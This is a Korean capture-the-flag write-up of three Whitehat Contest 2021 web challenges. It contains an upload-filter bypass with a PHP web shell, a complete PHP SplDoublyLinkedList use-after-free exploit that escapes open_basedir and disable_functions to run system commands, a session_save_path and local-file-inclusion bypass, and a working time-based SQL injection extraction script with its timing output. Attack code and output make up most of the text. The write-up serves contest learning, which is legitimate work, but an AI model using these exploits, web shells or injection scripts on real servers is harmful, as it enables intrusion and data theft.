Whitehat Contest 2021 Write Up
(Web) Imageflare [100 pts]⌗
Imageflare 문제는 파일 업로드 취약점을 이용해 웹쉘을 업로드 한 뒤에 RCE를 이용해 플래그를 획득하는 문제입니다.
일단 문제를 보면 위와 같이 파일 업로드 기능이 주어지고, 파일 업로드를 할 때 마다 Pow 값을 맞춰줘야 한다.
import hashlib
import string
import random
import uuid
import sys
for i in range(10000000) :
input = uuid.uuid4()
input = str(input)
sha_1 = hashlib.sha1()
sha_1.update(input.encode('utf-8'))
inputsha = sha_1.hexdigest()
inputsha5 = inputsha[:5]
pow = sys.argv[1]
if inputsha5 == pow :
print("[*] " + input)
break
print("[*] end..")
Pow 값은 위 페이로드로 쉽게 획득할 수 있습니다.
<?= 7*7 ?>
php 파일을 업로드 해보니 필터링에 걸리는 것을 확인할 수 있었다. 그래서 여러번 파일 업로드를 하며 확인해본 결과 시그니처 값과 <?php >
문자열 존재만 확인하는 거 같았습니다. 그래서 그냥 아무 이미지 파일을 다운로드 하고, 이미지 헤더 내에 위 페이로드를 넣고, 파일 명은 <filename>.php
로 업로드 하여 익스플로잇을 진행했습니다.
파일 업로드 후에 파일 명을 클릭하면 파일을 읽는 것이 아닌 다운로드가 되도록 구현되어 있었습니다. 여기서 저는 약간의 게싱을 이용해서 업로드 되는 디렉터리를 알아냈습니다. (/uploads/)
아까 위에서 올린 php 파일로 접근을 해보니 7*7
가 그대로 실행 되어 출력되는 것을 확인할 수 있었습니다.
<?= echo system($_GET['c']); ?>
이번에는 위와 같이 이미지 헤더 내에 웹쉘 페이로드를 넣은 후에 업로드하고, 쉘 명령어를 실행해보니 잘 되는 것을 볼 수 있었고, 이를 이용해 플래그를 획득했습니다.
FLAG{ce9f5efd2c90c3f98fc61fcaf608f842}
(Web) Mudbox [290 pts]⌗
Mudbox 문제는 session_save_path()를 이용한 open_basedir 우회 기법 또는 UAF Sandbox Escape를 이용해 open_basedir 옵션을 우회하고, RCE 하는 문제 입니다.
저는 ini_set(), chdir() 함수로 ini_set() 함수로 open_basedir 옵션을 우회하려고 밤을 새면서 시도 했는데, ini_set()을 이용해서 open_basedir을 전역에서 설정해주어도 ㅈㄴ 설정이 아예 안 됐습니다. 하지만 저는 이 방법을 고집하고, 계속 시도 하였지만 php.ini 설정 때문인지 이년이 끝까지 말을 안 듣더라구요 :)
결국 대회 끝나고 지인들한테 물어보니 첫 번째는 session_save_path()
를 이용해서 open_basedir 우회하기 위해 plugin/
디렉터리에 웹쉘 올리고, LFI를 이용해서 해당 파일을 실행 시키는 방식이고, 두 번째는 잘 알려진 UAF Sandbox Escape 공격을 하는 것 입니다.
저도 대회때 UAF 공격을 한 번 시도 해보긴 했는데, 파일 크기 때문에 UAF POC 파일을 업로드 하지 못 해서, 공격을 못 했는데, 지금 생각해보면 그냥 <?= eval($_GET['cmd']); ?>
로 파일을 올리고, cmd 변수에 UAF Payload를 그냥 넘겨주면 됐었습니다.
또한 CCE 2020에서 nomorephp라는 문제와 싱크로율 100 ;; 그냥 ini_set()만 고집 안 했으면 풀었을 건데 아쉽네요.
문제에서는 위와 같이 파일 업로드 기능을 제공하고 있고, php, phar, htm이 들어간 확장자는 모두 필터링에 걸리는데, pht 확장자를 이용해서 우회할 수 있습니다.
<?php
eval($_GET['code']);
show_source(__FILE__);
?>
그래서 일단 위 페이로드를 pht 확장자로 업로드 해주었습니다.
업로드한 파일을 읽어 보니 php로 잘 인식하는 것을 확인 할 수 있습니다.
code 값으로 phpinfo();
를 넘겨ㅡ주니 실행 또한 잘 되는 것을 확인 할 수 있습니다.
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,getenv,putenv
phpinfo();
에서 disable_functions 설정을 확인 해보니 위와 같이 여러 함수들이 비활성화 되어 있는 것을 확인 할 수 있습니다.
그리고 혹시나 해서 open_basedir
설정도 확인 해보니 위와 같이 /tmp:/var/www/html/data
설정 되어 있는 것을 확인 했습니다. 플래그는 현재 /flag
에 있습니다. 또한 우리가 업로드 하는 웹쉘도 data/
하위에 생성이 되기 때문에 data/
디렉터리에서 현재 경로 및 하위 파일들만 건들 수 있습니다.
그래서 open_basedir을 우회해서 최상위 디렉터리에 있는 /flag
를 읽어야 합니다.
open_basedir을 우회하는 첫 번째 방식은 잘 알려진 UAF Sandbox Escape를 이용하는 것 입니다.
<?php
#
# PHP SplDoublyLinkedList::offsetUnset UAF
# Charles Fol (@cfreal_)
# 2020-08-07
# PHP is vulnerable from 5.3 to 8.0 alpha
# This exploit only targets PHP7+.
#
# SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration.
# Said iteration is done by keeping a pointer to the "current" DLL element.
# You can then call next() or prev() to make the DLL point to another element.
# When you delete an element of the DLL, PHP will remove the element from the
# DLL, then destroy the zval, and finally clear the current ptr if it points
# to the element. Therefore, when the zval is destroyed, current is still
# pointing to the associated element, even if it was removed from the list.
# This allows for an easy UAF, because you can call $dll->next() or
# $dll->prev() in the zval's destructor.
#
#
define('NB_DANGLING', 200);
define('SIZE_ELEM_STR', 40 - 24 - 1);
define('STR_MARKER', 0xcf5ea1);
function i2s(&$s, $p, $i, $x=8)
{
for($j=0;$j<$x;$j++)
{
$s[$p+$j] = chr($i & 0xff);
$i >>= 8;
}
}
function s2i(&$s, $p, $x=8)
{
$i = 0;
for($j=$x-1;$j>=0;$j--)
{
$i <<= 8;
$i |= ord($s[$p+$j]);
}
return $i;
}
class UAFTrigger
{
function __destruct()
{
global $dlls, $strs, $rw_dll, $fake_dll_element, $leaked_str_offsets;
#"print('UAF __destruct: ' . "\n");
$dlls[NB_DANGLING]->offsetUnset(0);
# At this point every $dll->current points to the same freed chunk. We allocate
# that chunk with a string, and fill the zval part
$fake_dll_element = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
i2s($fake_dll_element, 0x00, 0x12345678); # ptr
i2s($fake_dll_element, 0x08, 0x00000004, 7); # type + other stuff
# Each of these dlls current->next pointers point to the same location,
# the string we allocated. When calling next(), our fake element becomes
# the current value, and as such its rc is incremented. Since rc is at
# the same place as zend_string.len, the length of the string gets bigger,
# allowing to R/W any part of the following memory
for($i = 0; $i <= NB_DANGLING; $i++)
$dlls[$i]->next();
if(strlen($fake_dll_element) <= SIZE_ELEM_STR)
die('Exploit failed: fake_dll_element did not increase in size');
$leaked_str_offsets = [];
$leaked_str_zval = [];
# In the memory after our fake element, that we can now read and write,
# there are lots of zend_string chunks that we allocated. We keep three,
# and we keep track of their offsets.
for($offset = SIZE_ELEM_STR + 1; $offset <= strlen($fake_dll_element) - 40; $offset += 40)
{
# If we find a string marker, pull it from the string list
if(s2i($fake_dll_element, $offset + 0x18) == STR_MARKER)
{
$leaked_str_offsets[] = $offset;
$leaked_str_zval[] = $strs[s2i($fake_dll_element, $offset + 0x20)];
if(count($leaked_str_zval) == 3)
break;
}
}
if(count($leaked_str_zval) != 3)
die('Exploit failed: unable to leak three zend_strings');
# free the strings, except the three we need
$strs = null;
# Leak adress of first chunk
unset($leaked_str_zval[0]);
unset($leaked_str_zval[1]);
unset($leaked_str_zval[2]);
$first_chunk_addr = s2i($fake_dll_element, $leaked_str_offsets[1]);
# At this point we have 3 freed chunks of size 40, which we can read/write,
# and we know their address.
print('Address of first RW chunk: 0x' . dechex($first_chunk_addr) . "\n");
# In the third one, we will allocate a DLL element which points to a zend_array
$rw_dll->push([3]);
$array_addr = s2i($fake_dll_element, $leaked_str_offsets[2] + 0x18);
# Change the zval type from zend_object to zend_string
i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);
if(gettype($rw_dll[0]) != 'string')
die('Exploit failed: Unable to change zend_array to zend_string');
# We can now read anything: if we want to read 0x11223300, we make zend_string*
# point to 0x11223300-0x10, and read its size using strlen()
# Read zend_array->pDestructor
$zval_ptr_dtor_addr = read($array_addr + 0x30);
print('Leaked zval_ptr_dtor address: 0x' . dechex($zval_ptr_dtor_addr) . "\n");
# Use it to find zif_system
$system_addr = get_system_address($zval_ptr_dtor_addr);
print('Got PHP_FUNCTION(system): 0x' . dechex($system_addr) . "\n");
# In the second freed block, we create a closure and copy the zend_closure struct
# to a string
$rw_dll->push(function ($x) {});
$closure_addr = s2i($fake_dll_element, $leaked_str_offsets[1] + 0x18);
$data = str_shuffle(str_repeat('A', 0x200));
for($i = 0; $i < 0x138; $i += 8)
{
i2s($data, $i, read($closure_addr + $i));
}
# Change internal func type and pointer to make the closure execute system instead
i2s($data, 0x38, 1, 4);
i2s($data, 0x68, $system_addr);
# Push our string, which contains a fake zend_closure, in the last freed chunk that
# we control, and make the second zval point to it.
$rw_dll->push($data);
$fake_zend_closure = s2i($fake_dll_element, $leaked_str_offsets[0] + 0x18) + 24;
i2s($fake_dll_element, $leaked_str_offsets[1] + 0x18, $fake_zend_closure);
print('Replaced zend_closure by the fake one: 0x' . dechex($fake_zend_closure) . "\n");
# Calling it now
print('Running system("cat /flag");' . "\n");
$rw_dll[1]('cat /flag');
print_r('DONE'."\n");
}
}
class DanglingTrigger
{
function __construct($i)
{
$this->i = $i;
}
function __destruct()
{
global $dlls;
#D print('__destruct: ' . $this->i . "\n");
$dlls[$this->i]->offsetUnset(0);
$dlls[$this->i+1]->push(123);
$dlls[$this->i+1]->offsetUnset(0);
}
}
class SystemExecutor extends ArrayObject
{
function offsetGet($x)
{
parent::offsetGet($x);
}
}
/**
* Reads an arbitrary address by changing a zval to point to the address minus 0x10,
* and setting its type to zend_string, so that zend_string->len points to the value
* we want to read.
*/
function read($addr, $s=8)
{
global $fake_dll_element, $leaked_str_offsets, $rw_dll;
i2s($fake_dll_element, $leaked_str_offsets[2] + 0x18, $addr - 0x10);
i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);
$value = strlen($rw_dll[0]);
if($s != 8)
$value &= (1 << ($s << 3)) - 1;
return $value;
}
function get_binary_base($binary_leak)
{
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++)
{
$addr = $start - 0x1000 * $i;
$leak = read($addr, 7);
# ELF header
if($leak == 0x10102464c457f)
return $addr;
}
# We'll crash before this but it's clearer this way
die('Exploit failed: Unable to find ELF header');
}
function parse_elf($base)
{
$e_type = read($base + 0x10, 2);
$e_phoff = read($base + 0x20);
$e_phentsize = read($base + 0x36, 2);
$e_phnum = read($base + 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = read($header + 0x00, 4);
$p_flags = read($header + 0x04, 4);
$p_vaddr = read($header + 0x10);
$p_memsz = read($header + 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
die('Exploit failed: Unable to parse ELF');
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = read($data_addr + $i * 8);
if($leak - $base > 0 && $leak < $data_addr) {
$deref = read($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = read($data_addr + ($i + 4) * 8);
if($leak - $base > 0 && $leak < $data_addr) {
$deref = read($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_system($basic_funcs)
{
$addr = $basic_funcs;
do {
$f_entry = read($addr);
$f_name = read($f_entry, 6);
if($f_name == 0x6d6574737973) { # system
return read($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function get_system_address($binary_leak)
{
$base = get_binary_base($binary_leak);
print('ELF base: 0x' .dechex($base) . "\n");
$elf = parse_elf($base);
$basic_funcs = get_basic_funcs($base, $elf);
print('Basic functions: 0x' .dechex($basic_funcs) . "\n");
$zif_system = get_system($basic_funcs);
return $zif_system;
}
$dlls = [];
$strs = [];
$rw_dll = new SplDoublyLinkedList();
# Create a chain of dangling triggers, which will all in turn
# free current->next, push an element to the next list, and free current
# This will make sure that every current->next points the same memory block,
# which we will UAF.
for($i = 0; $i < NB_DANGLING; $i++)
{
$dlls[$i] = new SplDoublyLinkedList();
$dlls[$i]->push(new DanglingTrigger($i));
$dlls[$i]->rewind();
}
# We want our UAF'd list element to be before two strings, so that we can
# obtain the address of the first string, and increase is size. We then have
# R/W over all memory after the obtained address.
define('NB_STRS', 50);
for($i = 0; $i < NB_STRS; $i++)
{
$strs[] = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
i2s($strs[$i], 0, STR_MARKER);
i2s($strs[$i], 8, $i, 7);
}
# Free one string in the middle, ...
$strs[NB_STRS - 20] = 123;
# ... and put the to-be-UAF'd list element instead.
$dlls[0]->push(0);
# Setup the last DLlist, which will exploit the UAF
$dlls[NB_DANGLING] = new SplDoublyLinkedList();
$dlls[NB_DANGLING]->push(new UAFTrigger());
$dlls[NB_DANGLING]->rewind();
# Trigger the bug on the first list
$dlls[0]->offsetUnset(0);
die();
import requests
data = {
'payload': open('uaf.php').read().replace('<?php', '')
}
response = requests.post("http://3.38.109.135:28344/data/bf233c59229bbbbe50aa44971fbb17c2/40977f3b892bcbc3edd5fd4f1d3abe38.pht?code=eval($_POST['payload']);", data=data)
print(response.text)
위 poc 코드를 실행 시켜주면 UAF Sandbox Escape 공격으로 플래그를 읽어오는 것을 볼 수 있습니다.
echo session_save_path()."<br>";
mkdir("a");
mkdir("a/b");
chdir("a/b/");
session_save_path("../../plugin");
chdir("../..");
session_start();
$_SESSION['test']="<?php include(\"/flag\"); ?>";
두 번째 , open_basedir 우회하는 방식은 session_save_path()
함수를 이용해서 세션 파일을 원하는 곳에 생성 시켜 우회하는 방식입니다. 일단 위 페이로드를 이용해서 ‘plugin/’ 디렉터리에 세션 파일로 웹쉘을 생성을 합니다.
<?php
$p = $_GET["p"] ?? "about";
if(preg_match("/[^A-Za-z0-9\-_]/", $p))
$p = "about";
include "./$p";
/plugin
에 인덱스 파일을 보면 입력값에 문자열 및 ‘-’, ‘_’ 문자열만 포함되어 있어야 하고, include를 이용해서 입력값에 대한 파일을 가져오는 것을 알 수 있습니다. 그렇기 때문에 위에서 올린 세션 파일을 LFI를 이용해 가져와 실행 시키면 플래그를 획득할 수 있습니다. 세션 파일명은 (sess_phpsessid)
입니다.
일단 위 코드를 pht 확장자로 업로드 합니다.
파일을 실행 하고, LFI 취약점을 이용해 파일을 실행 하니 플래그가 출력되는 것을 볼 수 있습니다.
FLAG{b4s3dir_i5_n0t_s4fe_h4h4}
(Web) BitTrader [482 pts]⌗
BitTrader 문제는 join을 이용해서 테이블을 여러개 조인 해 줄 경우 발생하는 슬립 현상을 이용해서 Time Based SQL Injection을 하는 문제 입니다.
해당 문제는 대회 당시에 Mudbox와 다르게 그냥 감 자체를 잡지 못 했고, 공부용으로도 너무 좋은 문제라서 대회가 끝났지만 계속 풀어보기로 했습니다. 일단 대회 당시에 SQL Injection인 것을 알았지만 어떤 식으로 데이터를 추출해야 하는 지 알지 못 했습니다.
일단 문제 페이지를 보면 위와 같이 비트코인, 이더리움, 리플, 도지 코인의 현재 가격을 출력해주는 것을 확인할 수 있습니다.
그리고 Trade 버튼을 클릭하면 특정 코인의 가격을 5초 간격으로 나타나는 지표를 확인할 수 있으며, 네트워크 창을 확인 해보면 api(ajax_ticks.php?symbol=btc)로 요청 해서 코인의 현재 가격을 가져 오는 것을 확인할 수 있습니다.
/ajax_ticks.php?symbol=btc
로 접속을 하면 위와 같이 결과 값을 반환하는 것을 확인할 수 있습니다.
그래서 여기가 SQL Injection 공격 포인트라 생각하고, 여러 페이로드를 보내면서 익스를 시도 하였지만 성공하지 못 했습니다. 일단 대부분에 특수 문자가 막혀 있기 때문에 싱글 쿼터 및 함수 자체를 사용할 수 없었습니다.
SELECT ~~ FROM price_$symbol limit 0, 10
하지만 symbol의 값이 where 절에 들어가는 것이 아닌 위와 같이 테이블 명에 들어가기 때문에 싱글 쿼터를 우회할 필요가 없었으며 익스플로잇은 join을 이용해 테이블 여러개를 조인 시켜 줄 경우에 발생하는 에러 또는 슬립 현상을 이용해 Error/Time Based SQL Injection을 이용해야 했습니다. 저는 슬립 현상을 이용해서 타임어택을 하였지만 효율성은 에러를 이용하는 것이 좋아 보입니다.
select * from users cross join information_schema.tables cross join information_schema.columns on 1=0;
select * from users cross join information_schema.tables cross join information_schema.columns on 1=1;
일단 로컬에서 cross join을 이용해 메타 테이블들을 이어주는 퀴러를 위와 같이 작성 해 테스트를 해보았습니다. 사진을 보면 거짓일 때는, 쿼리 실행이 바로 종료 되지만, 참일 때는 오랜시간 슬립 현상이 발생하는 것을 확인할 수 있었습니다.
그렇기 때문에 이를 이용해서 Time Based SQL Injection을 이용해 디비 정보를 모두 추출하면 됩니다.
btc cross join information_schema.columns cross join information_schema.tables on 1=1
그래서 cross join
을 이용하여 위와 같이 메타 테이블 2개를 엮어주는 쿼리를 전송해주니 약 4초 정도 Sleep이 발생하는 것을 볼 수 있습니다. 이제 이를 이용해서 Time Based SQL Injection을 하면 될 거 같습니다 :)
import requests
import string
url = "http://15.165.49.138:26354/ajax_ticks.php?symbol=btc cross join information_schema.statistics cross join information_schema.processlist cross join information_schema.tables as m cross join information_schema.columns on m.table_name like 0x{}"
leaked = ""
while True:
for s in string.printable:
f = url.format((leaked + s + '%').encode().hex())
r = requests.get(f)
print(f"C: {s}, T: {r.elapsed}")
일단 테이블 명의 첫 글자들을 확인하기 위해 위와 같이 코드를 작성하였습니다. 그리고 문제에서는 테이블/컬럼 명, 레코드 값을 뽑을 때는 두 개의 테이블로는 크기가 부족해서 statistics
, processlist
테이블을 추가로 조인 시켜 주었으며 위와 같이 PoC 코드를 작성해주었습니다.
C: 0, T: 0:00:00.040496
C: 1, T: 0:00:00.039568
C: 2, T: 0:00:00.033084
C: 3, T: 0:00:00.054973
C: 4, T: 0:00:00.040466
C: 5, T: 0:00:00.033778
C: 6, T: 0:00:00.036218
C: 7, T: 0:00:00.039113
C: 8, T: 0:00:00.039524
C: 9, T: 0:00:00.043274
C: a, T: 0:00:00.042083
C: b, T: 0:00:00.037688
C: c, T: 0:00:02.985553
C: d, T: 0:00:00.041576
C: e, T: 0:00:03.037683
C: f, T: 0:00:03.260697
C: g, T: 0:00:03.217965
C: h, T: 0:00:00.036901
C: i, T: 0:00:02.984188
C: j, T: 0:00:00.042655
C: k, T: 0:00:01.794134
C: l, T: 0:00:01.048942
C: m, T: 0:00:00.036848
C: n, T: 0:00:00.037003
C: o, T: 0:00:01.728545
C: p, T: 0:00:03.069760
C: q, T: 0:00:00.046779
C: r, T: 0:00:03.427775
C: s, T: 0:00:02.869415
C: t, T: 0:00:02.965769
C: u, T: 0:00:01.839867
C: v, T: 0:00:02.045197
C: w, T: 0:00:00.045391
C: x, T: 0:00:00.038370
C: y, T: 0:00:00.034550
C: z, T: 0:00:00.040592
C: A, T: 0:00:00.038777
C: B, T: 0:00:00.035266
C: C, T: 0:00:02.923604
C: D, T: 0:00:00.043928
C: E, T: 0:00:03.431379
C: F, T: 0:00:03.434538
C: G, T: 0:00:03.437290
C: H, T: 0:00:00.041747
C: I, T: 0:00:02.984453
C: J, T: 0:00:00.044469
C: K, T: 0:00:01.692472
C: L, T: 0:00:00.040697
C: M, T: 0:00:00.034870
C: N, T: 0:00:00.039964
C: O, T: 0:00:01.844985
C: P, T: 0:00:02.975808
C: Q, T: 0:00:00.050623
C: R, T: 0:00:03.314133
C: S, T: 0:00:02.897688
C: T, T: 0:00:03.033871
C: U, T: 0:00:02.356644
C: V, T: 0:00:01.630371
C: W, T: 0:00:00.042096
C: X, T: 0:00:00.042518
C: Y, T: 0:00:00.053940
C: Z, T: 0:00:00.042300
코드를 돌려보니 위와 같이 꽤나 정확한 오라클 결과들을 얻을 수 있었고, 위 오라클을 기반으로 테이블 명을 뽑아 보다가 f
에서 files
, flag
라는 테이블이 존재하는 것을 확인하였고, 이를 기반으로 컬럼, 레코드 값을 뽑기로 하였습니다.
import requests
import string
import time
str_list = string.printable.replace('%','').replace('_','')
def execute(s, url, data, Time):
result = data
p = 1
while p == 1:
start = result
for s in str_list:
start_time = time.time()
requests.get(url.format((result + s + '%').encode().hex()))
if (time.time() - start_time) > Time:
result += s
break
if start == result:
p = 0
return result
if __name__ == '__main__':
print("[*] Start an exploit")
print(f"[*] The table name is {execute('fl', 'http://15.165.49.138:26354/ajax_ticks.php?symbol=btc cross join information_schema.statistics cross join information_schema.processlist cross join information_schema.tables as m cross join information_schema.columns on m.table_name like 0x{}', 'fl', 1.4)}")
print(f"[*] The column name is {execute('fl', 'http://15.165.49.138:26354/ajax_ticks.php?symbol=btc cross join information_schema.statistics cross join information_schema.processlist cross join information_schema.tables as m cross join information_schema.columns as f on f.column_name like 0x{}', 'fl', 0.1)}")
print(f"[*] The flag is {execute('fl', 'http://15.165.49.138:26354/ajax_ticks.php?symbol=btc cross join information_schema.statistics cross join information_schema.processlist cross join information_schema.tables as m cross join information_schema.columns cross join flag as c on c.flag like 0x{}', 'fl', 1.4)}")
print("[*] Congratulations for to leak a flag XD")
PoC 코드를 돌려 주면 위 사진처럼 테이블/컬럼 명 및 플래그 릭에 성공하는 것을 확인할 수 있습니다.
FLAG : FLAG{d0geg0estom4rs}